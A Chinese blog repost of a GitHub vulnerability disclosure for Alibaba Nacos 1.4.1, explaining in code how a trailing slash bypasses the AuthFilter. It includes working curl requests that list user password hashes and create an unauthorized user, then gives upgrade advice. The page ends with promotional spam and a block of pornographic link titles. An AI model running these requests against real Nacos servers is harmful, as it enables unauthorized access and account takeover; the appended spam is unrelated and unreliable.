1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        阿里 Nacos 驚爆,安全漏洞以繞過(guò)身份驗(yàn)證(附修復(fù)建議)

        共 989字,需瀏覽 2分鐘

         ·

        2021-01-25 11:37

        由于公眾號(hào)文章推送規(guī)則的改變,大家能準(zhǔn)時(shí)收到我們的文章推送,請(qǐng)將公眾號(hào):?JAVA?設(shè)為星標(biāo)~這樣就不會(huì)錯(cuò)過(guò)每一篇精彩的推送啦~

        來(lái)源:github.com/alibaba/nacos/issues/4701

        • 一、漏洞詳情
        • 二、漏洞影響范圍
        • 三、漏洞復(fù)現(xiàn)
        • 三、 修復(fù)建議
        • BugFix

        大家好,我是threedr3am,我發(fā)現(xiàn)nacos最新版本1.4.1對(duì)于User-Agent繞過(guò)安全漏洞的serverIdentity key-value修復(fù)機(jī)制,依然存在繞過(guò)問(wèn)題,在nacos開(kāi)啟了serverIdentity的自定義key-value鑒權(quán)后,通過(guò)特殊的url構(gòu)造,依然能繞過(guò)限制訪問(wèn)任何http接口。

        通過(guò)查看該功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server繞過(guò)鑒權(quán)的安全問(wèn)題。

        但在開(kāi)啟該機(jī)制后,我從代碼中發(fā)現(xiàn),任然可以在某種情況下繞過(guò),使之失效,調(diào)用任何接口,通過(guò)該漏洞,我可以繞過(guò)鑒權(quán),做到:

        調(diào)用添加用戶接口,添加新用戶(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用戶登錄console,訪問(wèn)、修改、添加數(shù)據(jù)。

        一、漏洞詳情

        問(wèn)題主要出現(xiàn)在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

        public?class?AuthFilter?implements?Filter?{

        ????@Autowired
        ????private?AuthConfigs?authConfigs;

        ????@Autowired
        ????private?AuthManager?authManager;

        ????@Autowired
        ????private?ControllerMethodsCache?methodsCache;

        ????private?Map,?ResourceParser>?parserInstance?=?new?ConcurrentHashMap<>();

        ????@Override
        ????public?void?doFilter(ServletRequest?request,?ServletResponse?response,?FilterChain?chain)
        ????????????throws?IOException,?ServletException?
        {

        ????????if?(!authConfigs.isAuthEnabled())?{
        ????????????chain.doFilter(request,?response);
        ????????????return;
        ????????}

        ????????HttpServletRequest?req?=?(HttpServletRequest)?request;
        ????????HttpServletResponse?resp?=?(HttpServletResponse)?response;

        ????????if?(authConfigs.isEnableUserAgentAuthWhite())?{
        ????????????String?userAgent?=?WebUtils.getUserAgent(req);
        ????????????if?(StringUtils.startsWith(userAgent,?Constants.NACOS_SERVER_HEADER))?{
        ????????????????chain.doFilter(request,?response);
        ????????????????return;
        ????????????}
        ????????}?else?if?(StringUtils.isNotBlank(authConfigs.getServerIdentityKey())?&&?StringUtils
        ????????????????.isNotBlank(authConfigs.getServerIdentityValue()))?{
        ????????????String?serverIdentity?=?req.getHeader(authConfigs.getServerIdentityKey());
        ????????????if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
        ????????????????chain.doFilter(request,?response);
        ????????????????return;
        ????????????}
        ????????????Loggers.AUTH.warn("Invalid?server?identity?value?for?{}?from?{}",?authConfigs.getServerIdentityKey(),
        ????????????????????req.getRemoteHost());
        ????????}?else?{
        ????????????resp.sendError(HttpServletResponse.SC_FORBIDDEN,
        ????????????????????"Invalid?server?identity?key?or?value,?Please?make?sure?set?`nacos.core.auth.server.identity.key`"
        ????????????????????????????+?"?and?`nacos.core.auth.server.identity.value`,?or?open?`nacos.core.auth.enable.userAgentAuthWhite`");
        ????????????return;
        ????????}

        ????????try?{

        ????????????Method?method?=?methodsCache.getMethod(req);

        ????????????if?(method?==?null)?{
        ????????????????chain.doFilter(request,?response);
        ????????????????return;
        ????????????}

        ????????????...鑒權(quán)代碼

        ????????}
        ????????...
        ????}
        ????...
        }

        可以看到,上面三個(gè)if else分支:

        第一個(gè)是authConfigs.isEnableUserAgentAuthWhite(),它默認(rèn)值為true,當(dāng)值為true時(shí),會(huì)判斷請(qǐng)求頭User-Agent是否匹配User-Agent: Nacos-Server,若匹配,則跳過(guò)后續(xù)所有邏輯,執(zhí)行chain.doFilter(request, response);

        第二個(gè)是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本對(duì)于User-Agent: Nacos-Server安全問(wèn)題的簡(jiǎn)單修復(fù)

        第三個(gè)是,當(dāng)前面兩個(gè)條件都不符合時(shí),對(duì)請(qǐng)求直接作出拒絕訪問(wèn)的響應(yīng)

        問(wèn)題出現(xiàn)在第二個(gè)分支,可以看到,當(dāng)nacos的開(kāi)發(fā)者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,開(kāi)啟該key-value簡(jiǎn)單鑒權(quán)機(jī)制后,會(huì)根據(jù)開(kāi)發(fā)者配置的nacos.core.auth.server.identity.key去http header中獲取一個(gè)value,去跟開(kāi)發(fā)者配置的nacos.core.auth.server.identity.value進(jìn)行匹配,若不匹配,則不進(jìn)入分支執(zhí)行:

        if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
        ????chain.doFilter(request,?response);
        ????return;
        }

        但問(wèn)題恰恰就出在這里,這里的邏輯理應(yīng)是在不匹配時(shí),直接返回拒絕訪問(wèn),而實(shí)際上并沒(méi)有這樣做,這就讓我們后續(xù)去繞過(guò)提供了條件。

        再往下看,代碼來(lái)到:

        Method?method?=?methodsCache.getMethod(req);

        if?(method?==?null)?{
        ????chain.doFilter(request,?response);
        ????return;
        }

        ...鑒權(quán)代碼

        可以看到,這里有一個(gè)判斷method == null,只要滿足這個(gè)條件,就不會(huì)走到后續(xù)的鑒權(quán)代碼。

        通過(guò)查看methodsCache.getMethod(req)代碼實(shí)現(xiàn),我發(fā)現(xiàn)了一個(gè)方法,可以使之返回的method為null

        com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

        public?Method?getMethod(HttpServletRequest?request)?{
        ????String?path?=?getPath(request);
        ????if?(path?==?null)?{
        ????????return?null;
        ????}
        ????String?httpMethod?=?request.getMethod();
        ????String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
        ????List?requestMappingInfos?=?urlLookup.get(urlKey);
        ????if?(CollectionUtils.isEmpty(requestMappingInfos))?{
        ????????return?null;
        ????}
        ????List?matchedInfo?=?findMatchedInfo(requestMappingInfos,?request);
        ????if?(CollectionUtils.isEmpty(matchedInfo))?{
        ????????return?null;
        ????}
        ????RequestMappingInfo?bestMatch?=?matchedInfo.get(0);
        ????if?(matchedInfo.size()?>?1)?{
        ????????RequestMappingInfoComparator?comparator?=?new?RequestMappingInfoComparator();
        ????????matchedInfo.sort(comparator);
        ????????bestMatch?=?matchedInfo.get(0);
        ????????RequestMappingInfo?secondBestMatch?=?matchedInfo.get(1);
        ????????if?(comparator.compare(bestMatch,?secondBestMatch)?==?0)?{
        ????????????throw?new?IllegalStateException(
        ????????????????????"Ambiguous?methods?mapped?for?'"?+?request.getRequestURI()?+?"':?{"?+?bestMatch?+?",?"
        ????????????????????????????+?secondBestMatch?+?"}");
        ????????}
        ????}
        ????return?methods.get(bestMatch);
        }
        private?String?getPath(HttpServletRequest?request)?{
        ????String?path?=?null;
        ????try?{
        ????????path?=?new?URI(request.getRequestURI()).getPath();
        ????}?catch?(URISyntaxException?e)?{
        ????????LOGGER.error("parse?request?to?path?error",?e);
        ????}
        ????return?path;
        }

        這個(gè)代碼里面,可以很明確的看到,method值的返回,取決于

        String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
        List?requestMappingInfos?=?urlLookup.get(urlKey);

        urlKey這個(gè)key,是否能從urlLookup這個(gè)ConcurrentHashMap中獲取到映射值

        而urlKey的組成中,存在著path這一部分,而這一部分的生成,恰恰存在著問(wèn)題,它是通過(guò)如下方式獲得的:

        new?URI(request.getRequestURI()).getPath()

        一個(gè)正常的訪問(wèn),比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path將會(huì)是/nacos/v1/auth/users,而通過(guò)特殊構(gòu)造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path將會(huì)是/nacos/v1/auth/users/

        通過(guò)該方式,將能控制該path多一個(gè)末尾的斜桿'/',導(dǎo)致從urlLookup這個(gè)ConcurrentHashMap中獲取不到method,為什么呢,因?yàn)閚acos基本全部的RequestMapping都沒(méi)有以斜桿'/'結(jié)尾,只有非斜桿'/'結(jié)尾的RequestMapping存在并存入了urlLookup這個(gè)ConcurrentHashMap,那么,最外層的method == null條件將能滿足,從而,繞過(guò)該鑒權(quán)機(jī)制。

        二、漏洞影響范圍

        影響范圍:1.4.1

        三、漏洞復(fù)現(xiàn)

        訪問(wèn)用戶列表接口

        curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

        可以看到,繞過(guò)了鑒權(quán),返回了用戶列表數(shù)據(jù)

        {
        ????"totalCount":?1,
        ????"pageNumber":?1,
        ????"pagesAvailable":?1,
        ????"pageItems":?[
        ????????{
        ????????????"username":?"nacos",
        ????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        ????????}
        ????]
        }

        添加新用戶

        curl?-XPOST?'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

        可以看到,繞過(guò)了鑒權(quán),添加了新用戶

        {
        ????"code":200,
        ????"message":"create?user?ok!",
        ????"data":null
        }

        再次查看用戶列表

        curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

        可以看到,返回的用戶列表數(shù)據(jù)中,多了一個(gè)我們通過(guò)繞過(guò)鑒權(quán)創(chuàng)建的新用戶

        {
        ????"totalCount":?2,
        ????"pageNumber":?1,
        ????"pagesAvailable":?1,
        ????"pageItems":?[
        ????????{
        ????????????"username":?"nacos",
        ????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        ????????},
        ????????{
        ????????????"username":?"test",
        ????????????"password":?"$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        ????????}
        ????]
        }

        訪問(wèn)首頁(yè)http://127.0.0.1:8848/nacos/,登錄新賬號(hào),可以做任何事情

        regards, threedr3am

        三、 修復(fù)建議

        2021年1月14日 Nacos 1.4.1剛發(fā)布,會(huì)直接在1.4.1進(jìn)行hotfix。

        請(qǐng)用戶直接下載最新的1.4.1版本進(jìn)行部署升級(jí)。

        https://github.com/alibaba/nacos/releases/tag/1.4.1

        BugFix

        -[#4701] Fix bypass authentication(identity) problem.

        https://github.com/alibaba/nacos/issues/4701




        最近有讀者想要分布式的項(xiàng)目,還有想要商城的,還有想要springboot,springcloud,k8s等等,這次直接分享幾乎涵蓋了我們java程序員的大部分技術(shù)桟,可以說(shuō)真的非常全面了。強(qiáng)烈建議大家都上手做一做,而且以后肯定用的上。資料包含高清視頻+課件+源碼……

        掃以下二維碼并回復(fù)“99”即可獲取


        掃描上方二維碼,關(guān)注并回復(fù)【99】馬上獲取

        瀏覽 56
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            黄视频网站免费在线观看 | 啊灬啊灬啊灬快好喷水液视频 | 内射学生妹视频 | 使劲cao我吧求cao奶3p | 亚洲精品ww久久久久久p站 | 免费观看全黄做爰的视频 | 国模乳神张雪馨大尺度视频在线 | 一二三级全中文 | 国产午夜激情视频 | 日本人成人无吗ww在线观看视频 |